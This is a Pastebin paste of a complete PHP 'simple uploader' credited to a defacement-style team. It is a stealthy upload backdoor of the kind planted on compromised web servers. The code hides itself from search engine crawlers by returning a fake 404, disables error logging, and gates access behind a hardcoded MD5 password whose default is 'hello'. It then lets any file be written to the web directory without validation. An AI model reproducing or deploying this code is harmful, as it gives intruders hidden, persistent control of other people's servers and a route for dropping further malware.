Advertisement
Jemb0t_IR3eng

simple uploader password

Mar 12th, 2017
382
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.19 KB | None | 0 0
  1. <?php
  2.  
  3. $auth_pass = "5d41402abc4b2a76b9719d911017c592"; // default: hello
  4.  
  5. if (!empty($_SERVER['HTTP_USER_AGENT'])) {
  6. $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler", "Bing");
  7. if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  8. header('HTTP/1.0 404 Not Found');
  9. exit;
  10. }
  11. }
  12. @ini_set('error_log', NULL);
  13. @ini_set('log_errors', 0);
  14. @ini_set('max_execution_time', 0);
  15. @set_time_limit(0);
  16. @set_magic_quotes_runtime(0);
  17.  
  18. function upLogin() {
  19. die('<pre align="center"><form method="post">Enter Password : <input type="password" name="pass" placeholder="*************" style="border:1px solid;text-align:center;"><input type="submit" value="Submit" style="border:1px solid;"></form></pre>');
  20. }
  21. function upsetcookie($k, $v) {
  22. $_COOKIE[$k] = $v;
  23. setcookie($k, $v);
  24. }
  25. if (!empty($auth_pass)) {
  26. if (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) upsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
  27. if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) ]) || ($_COOKIE[md5($_SERVER['HTTP_HOST']) ] != $auth_pass)) upLogin();
  28. }
  29.  
  30. $name = $_FILES['file']['name'];
  31. $size = $_FILES['file']['size'];
  32. $tmp_name = $_FILES['file']['tmp_name'];
  33. $location = '';
  34. $file = $location . $name;
  35.  
  36. echo '<center><h2>Simple PHP Uploader</h2></center>';
  37. echo '<center><form action="" method="POST" enctype="multipart/form-data"><input type="file" name="file" style="border:1px solid;"><input type="submit" name="submit" value="Submit" style="border:1px solid;"></form></center>';
  38.  
  39. if (isset($_POST['submit'])) {
  40. if (isset($name)) {
  41. if (!empty($name)) {
  42. // Uploaded
  43. if (move_uploaded_file($tmp_name, $location.$name)) {
  44. echo "<center><a href='$file' target='_blank'>".$file."</a>&nbsp;<font>Size : ".$size."KB - Successfully Uploaded!</font></center>";
  45. }
  46. } else {
  47. echo "<center><font>No File Selected !!!</font></center>";
  48. }
  49. }
  50. }
  51. echo '<center><font style="left:0px;right:0px;bottom:40px;position:fixed;">Recoded by CowoKerensTeam &copy;2017 All Rights Reserved<br>Powered by X-Protocol</font></center>';
  52. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement